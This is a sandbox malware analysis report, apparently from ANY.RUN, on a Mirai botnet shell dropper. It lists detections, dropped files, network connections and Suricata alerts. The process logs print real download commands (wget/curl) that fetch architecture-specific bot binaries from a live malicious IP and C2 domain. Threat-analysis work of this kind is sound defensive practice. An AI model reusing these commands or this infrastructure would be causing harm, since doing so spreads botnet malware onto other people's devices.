File name:

1.sh

Full analysis: https://app.any.run/tasks/06d46082-803d-4634-bf38-ef398c4dcdb3
Verdict: Malicious activity
Threats:

A botnet is a group of internet-connected devices that are controlled by a single individual or group, often without the knowledge or consent of the device owners. These devices can be used to launch a variety of malicious attacks, such as distributed denial-of-service (DDoS) attacks, spam campaigns, and data theft. Botnet malware is the software that is used to infect devices and turn them into part of a botnet.

Malware Trends Tracker     >>>
Analysis date: May 17, 2025, 04:04:55
OS: Ubuntu 22.04.2
Tags:
mirai
botnet
Indicators:
MIME: text/x-shellscript
File info: Bourne-Again shell script, ASCII text executable
MD5:

ADD9914FD2B6D96AED8F9692F0DE2D06

SHA1:

59463A4CCE39BFC0098F55C2A4EEB2ABE842084E

SHA256:

CAD01BE4D8E07D2AA154E1F32A1F54B67DE5FEFF2503B2C3EFAB9AC2FF498321

SSDEEP:

48:ir3hrGvG6r9prCTrYjrgDrIsTrFl9r4zrtTrCfroeErVdr7TrEQ:iVSu6voSabZCR82jLt

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • WTF (PID: 41054)
      • WTF (PID: 41053)
      • WTF (PID: 41056)
      • WTF (PID: 41055)
      • WTF (PID: 41057)

    • MIRAI has been detected (SURICATA)

      • WTF (PID: 41057)

  • SUSPICIOUS

    • Reads passwd file

      • dumpe2fs (PID: 41038)
      • dumpe2fs (PID: 41039)
      • curl (PID: 41019)
      • curl (PID: 41073)
      • curl (PID: 41102)
      • curl (PID: 41161)
      • curl (PID: 41131)
      • curl (PID: 41190)
      • curl (PID: 41219)
      • curl (PID: 41247)
      • curl (PID: 41276)
      • curl (PID: 41305)
      • curl (PID: 41351)
      • curl (PID: 41380)

    • Check the Environment Variables Related to System Identification (os-release)

      • curl (PID: 41019)
      • snap (PID: 41062)
      • curl (PID: 41073)
      • curl (PID: 41102)
      • curl (PID: 41131)
      • curl (PID: 41161)
      • curl (PID: 41190)
      • curl (PID: 41219)
      • curl (PID: 41247)
      • curl (PID: 41276)
      • curl (PID: 41305)
      • curl (PID: 41351)
      • curl (PID: 41380)

    • Executes commands using command-line interpreter

      • sudo (PID: 41014)

    • Uses wget to download content

      • bash (PID: 41015)

    • Modifies file or directory owner

      • sudo (PID: 41011)

    • Potential Corporate Privacy Violation

      • wget (PID: 41018)
      • curl (PID: 41019)
      • wget (PID: 41072)
      • curl (PID: 41073)
      • wget (PID: 41130)
      • curl (PID: 41131)
      • curl (PID: 41161)
      • wget (PID: 41218)
      • curl (PID: 41190)
      • wget (PID: 41189)
      • curl (PID: 41247)
      • wget (PID: 41275)
      • curl (PID: 41276)
      • wget (PID: 41304)
      • curl (PID: 41305)
      • curl (PID: 41351)
      • wget (PID: 41379)
      • curl (PID: 41380)
      • wget (PID: 41334)
      • wget (PID: 41246)

    • Connects to unusual port

      • WTF (PID: 41057)

    • Contacting a server suspected of hosting an CnC

      • WTF (PID: 41057)

    • Connects to the server without a host name

      • curl (PID: 41073)
      • wget (PID: 41101)
      • curl (PID: 41102)
      • wget (PID: 41130)
      • curl (PID: 41131)
      • wget (PID: 41189)
      • curl (PID: 41190)
      • wget (PID: 41218)
      • curl (PID: 41247)
      • wget (PID: 41275)
      • curl (PID: 41276)
      • curl (PID: 41219)
      • wget (PID: 41304)
      • curl (PID: 41305)
      • curl (PID: 41351)
      • wget (PID: 41379)
      • curl (PID: 41380)

  • INFO

    • Checks timezone

      • dumpe2fs (PID: 41038)
      • wget (PID: 41018)
      • dumpe2fs (PID: 41039)
      • wget (PID: 41061)
      • wget (PID: 41072)
      • wget (PID: 41101)
      • wget (PID: 41130)
      • wget (PID: 41160)
      • wget (PID: 41218)
      • wget (PID: 41189)
      • wget (PID: 41275)
      • wget (PID: 41304)
      • wget (PID: 41246)
      • wget (PID: 41334)
      • wget (PID: 41350)
      • wget (PID: 41379)

    • Creates file in the temporary folder

      • cp (PID: 41017)
      • wget (PID: 41018)
      • curl (PID: 41019)
      • cat (PID: 41051)
      • bash (PID: 41069)
      • wget (PID: 41072)
      • curl (PID: 41073)
      • bash (PID: 41098)
      • bash (PID: 41127)
      • wget (PID: 41130)
      • curl (PID: 41131)
      • bash (PID: 41157)
      • bash (PID: 41186)
      • curl (PID: 41161)
      • curl (PID: 41102)
      • wget (PID: 41189)
      • curl (PID: 41190)
      • bash (PID: 41215)
      • wget (PID: 41218)
      • curl (PID: 41219)
      • bash (PID: 41243)
      • bash (PID: 41272)
      • curl (PID: 41247)
      • wget (PID: 41275)
      • curl (PID: 41276)
      • bash (PID: 41301)
      • wget (PID: 41304)
      • curl (PID: 41305)
      • bash (PID: 41331)
      • bash (PID: 41336)
      • wget (PID: 41334)
      • bash (PID: 41341)
      • curl (PID: 41351)
      • bash (PID: 41376)
      • wget (PID: 41379)
      • curl (PID: 41380)
      • bash (PID: 41407)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.sh | Linux/UNIX shell script (100)
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
256
Monitored processes
128
Malicious processes
6
Suspicious processes
14

Behavior graph

Click at the process to see the details
dash no specs sudo no specs chown no specs chmod no specs sudo no specs bash no specs locale-check no specs cp no specs wget curl snap-seccomp no specs snap-confine no specs dumpe2fs no specs dumpe2fs no specs snap-update-ns no specs cat no specs chmod no specs wtf no specs wtf no specs wtf no specs wtf no specs #MIRAI wtf wtf no specs wtf no specs wtf wget snap no specs bash no specs chmod no specs wtf no specs wget curl snap-seccomp no specs snap-confine no specs snap-confine no specs bash no specs chmod no specs wtf no specs wget curl snap-seccomp no specs snap-confine no specs snap-confine no specs bash no specs chmod no specs wtf no specs wget curl snap-seccomp no specs snap-confine no specs snap-confine no specs bash no specs chmod no specs wtf no specs wget curl snap-seccomp no specs snap-confine no specs snap-confine no specs bash no specs chmod no specs wtf no specs wget curl snap-seccomp no specs snap-confine no specs snap-confine no specs bash no specs chmod no specs wtf no specs wget curl snap-seccomp no specs snap-confine no specs snap-confine no specs bash no specs chmod no specs wtf no specs wget curl snap-seccomp no specs snap-confine no specs snap-confine no specs bash no specs chmod no specs wtf no specs wget curl snap-seccomp no specs snap-confine no specs snap-confine no specs bash no specs chmod no specs wtf no specs wget curl snap-seccomp no specs snap-confine no specs snap-confine no specs bash no specs chmod no specs wtf no specs wget snap no specs bash no specs chmod no specs wtf no specs wget no specs snap no specs bash no specs chmod no specs wtf no specs wget curl snap-seccomp no specs snap-confine no specs snap-confine no specs bash no specs chmod no specs wtf no specs wget curl snap-seccomp no specs snap-confine no specs snap-confine no specs bash no specs chmod no specs wtf no specs

Process information

PID
CMD
Path
Indicators
Parent process
41010/bin/sh -c "sudo chown user /tmp/1\.sh && chmod +x /tmp/1\.sh && DISPLAY=:0 sudo -iu user /tmp/1\.sh "/usr/bin/dash—IntiFjKCklFyPMJr
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
41011sudo chown user /tmp/1.sh/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libaudit.so.1.0.0
/usr/lib/x86_64-linux-gnu/libselinux.so.1
/usr/libexec/sudo/libsudo_util.so.0.0.0
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libcap-ng.so.0.0.0
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libnss_systemd.so.2
/usr/libexec/sudo/sudoers.so
/usr/lib/x86_64-linux-gnu/libpam.so.0.85.1
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
41012chown user /tmp/1.sh/usr/bin/chown—sudo
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
41013chmod +x /tmp/1.sh/usr/bin/chmod—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
41014sudo -iu user /tmp/1.sh/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libaudit.so.1.0.0
/usr/lib/x86_64-linux-gnu/libselinux.so.1
/usr/libexec/sudo/libsudo_util.so.0.0.0
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libcap-ng.so.0.0.0
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libnss_systemd.so.2
/usr/libexec/sudo/sudoers.so
/usr/lib/x86_64-linux-gnu/libpam.so.0.85.1
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
41015/bin/bash /tmp/1.sh/usr/bin/bash—sudo
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libtinfo.so.6.3
/usr/lib/x86_64-linux-gnu/libc.so.6
41016/usr/bin/locale-check C.UTF-8/usr/bin/locale-check—bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
41017cp /bin/busybox /tmp//usr/bin/cp—bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libselinux.so.1
/usr/lib/x86_64-linux-gnu/libacl.so.1.1.2301
/usr/lib/x86_64-linux-gnu/libattr.so.1.1.2501
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
41018wget http://92.62.251.17/dwrioej/neon.x86/usr/bin/wget
bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libuuid.so.1.3.0
/usr/lib/x86_64-linux-gnu/libidn2.so.0.3.7
/usr/lib/x86_64-linux-gnu/libssl.so.3
/usr/lib/x86_64-linux-gnu/libcrypto.so.3
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
/usr/lib/x86_64-linux-gnu/libpsl.so.5.3.2
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libunistring.so.2.2.0
41019/snap/curl/1754/bin/curl -O http://92.62.251.17/dwrioej/neon.x86/snap/curl/1754/bin/curl
bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libpthread.so.0
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libudev.so.1.7.2
/usr/lib/x86_64-linux-gnu/libdl.so.2
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/snap/curl/1754/lib/libcurl.so.4.8.0
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
/usr/lib/x86_64-linux-gnu/libpthread-2.31.so
/snap/curl/1754/usr/lib/x86_64-linux-gnu/libnghttp2.so.14.19.0
/snap/curl/1754/usr/lib/x86_64-linux-gnu/libidn2.so.0.3.6
Executable files
0
Suspicious files
11
Text files
0
Unknown types
0

Dropped files

PID
Process
Filename
Type
41017cp/tmp/busyboxo
MD5:—
SHA256:—
41018wget/tmp/neon.x86binary
MD5:—
SHA256:—
41051cat/tmp/WTFo
MD5:—
SHA256:—
41072wget/tmp/neon.arco
MD5:—
SHA256:—
41130wget/tmp/neon.i686binary
MD5:—
SHA256:—
41189wget/tmp/neon.mpslbinary
MD5:—
SHA256:—
41218wget/tmp/neon.armbinary
MD5:—
SHA256:—
41275wget/tmp/neon.arm6binary
MD5:—
SHA256:—
41304wget/tmp/neon.arm7binary
MD5:—
SHA256:—
41334wget/tmp/neon.ppcbinary
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
25
TCP/UDP connections
36
DNS requests
9
Threats
58

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
41247
curl
GET
200
92.62.251.17:80
http://92.62.251.17/dwrioej/neon.arm5
unknown
—
—
unknown
41246
wget
GET
—
92.62.251.17:80
http://92.62.251.17/dwrioej/neon.arm5
unknown
—
—
unknown
41275
wget
GET
200
92.62.251.17:80
http://92.62.251.17/dwrioej/neon.arm6
unknown
—
—
unknown
—
—
GET
204
91.189.91.98:80
http://connectivity-check.ubuntu.com/
unknown
—
—
whitelisted
—
—
GET
204
91.189.91.98:80
http://connectivity-check.ubuntu.com/
unknown
—
—
whitelisted
41018
wget
GET
200
92.62.251.17:80
http://92.62.251.17/dwrioej/neon.x86
unknown
—
—
unknown
41019
curl
GET
200
92.62.251.17:80
http://92.62.251.17/dwrioej/neon.x86
unknown
—
—
unknown
41073
curl
GET
200
92.62.251.17:80
http://92.62.251.17/dwrioej/neon.arc
unknown
—
—
unknown
41102
curl
GET
404
92.62.251.17:80
http://92.62.251.17/dwrioej/neon.i468
unknown
—
—
unknown
41072
wget
GET
200
92.62.251.17:80
http://92.62.251.17/dwrioej/neon.arc
unknown
—
—
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
91.189.91.98:80
connectivity-check.ubuntu.com
Canonical Group Limited
US
whitelisted
484
avahi-daemon
224.0.0.251:5353
—
—
—
unknown
41018
wget
92.62.251.17:80
izumi-sv.f5.si
MyAcct LTD
BG
malicious
41019
curl
92.62.251.17:80
izumi-sv.f5.si
MyAcct LTD
BG
malicious
41057
WTF
92.62.251.17:12121
izumi-sv.f5.si
MyAcct LTD
BG
malicious
41060
WTF
8.8.8.8:53
—
—
—
whitelisted
41061
wget
92.62.251.17:80
izumi-sv.f5.si
MyAcct LTD
BG
malicious
41060
WTF
65.222.202.53:80
—
UUNET
US
unknown
41072
wget
92.62.251.17:80
izumi-sv.f5.si
MyAcct LTD
BG
malicious
41073
curl
92.62.251.17:80
izumi-sv.f5.si
MyAcct LTD
BG
malicious

DNS requests

Domain
IP
Reputation
connectivity-check.ubuntu.com
  • 91.189.91.98
  • 185.125.190.17
  • 185.125.190.49
  • 91.189.91.48
  • 185.125.190.96
  • 185.125.190.48
  • 185.125.190.97
  • 185.125.190.18
  • 91.189.91.96
  • 185.125.190.98
  • 91.189.91.49
  • 2620:2d:4000:1::23
  • 2620:2d:4000:1::2a
  • 2001:67c:1562::23
  • 2620:2d:4002:1::196
  • 2620:2d:4000:1::98
  • 2620:2d:4000:1::2b
  • 2620:2d:4002:1::198
  • 2001:67c:1562::24
  • 2620:2d:4000:1::96
  • 2620:2d:4000:1::97
  • 2620:2d:4000:1::22
whitelisted
google.com
  • 142.250.186.142
  • 2a00:1450:4001:82a::200e
whitelisted
5.100.168.192.in-addr.arpa
  • —
unknown
izumi-sv.f5.si
  • 92.62.251.17
malicious

Threats

PID
Process
Class
Message
41018
wget
Potentially Bad Traffic
ET INFO x86 File Download Request from IP Address
41018
wget
Potentially Bad Traffic
ET HUNTING Suspicious GET Request for .x86
41018
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
41019
curl
Potentially Bad Traffic
ET INFO x86 File Download Request from IP Address
41019
curl
Potentially Bad Traffic
ET HUNTING Suspicious GET Request for .x86
41019
curl
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
41019
curl
Potentially Bad Traffic
ET HUNTING curl User-Agent to Dotted Quad
41057
WTF
Malware Command and Control Activity Detected
BOTNET [ANY.RUN] Possible Mirai.Gen (Linux)
41057
WTF
Malware Command and Control Activity Detected
BOTNET [ANY.RUN] Possible Mirai.Gen (Linux)
41072
wget
Potentially Bad Traffic
ET HUNTING Suspicious GET Request for .arc File
No debug info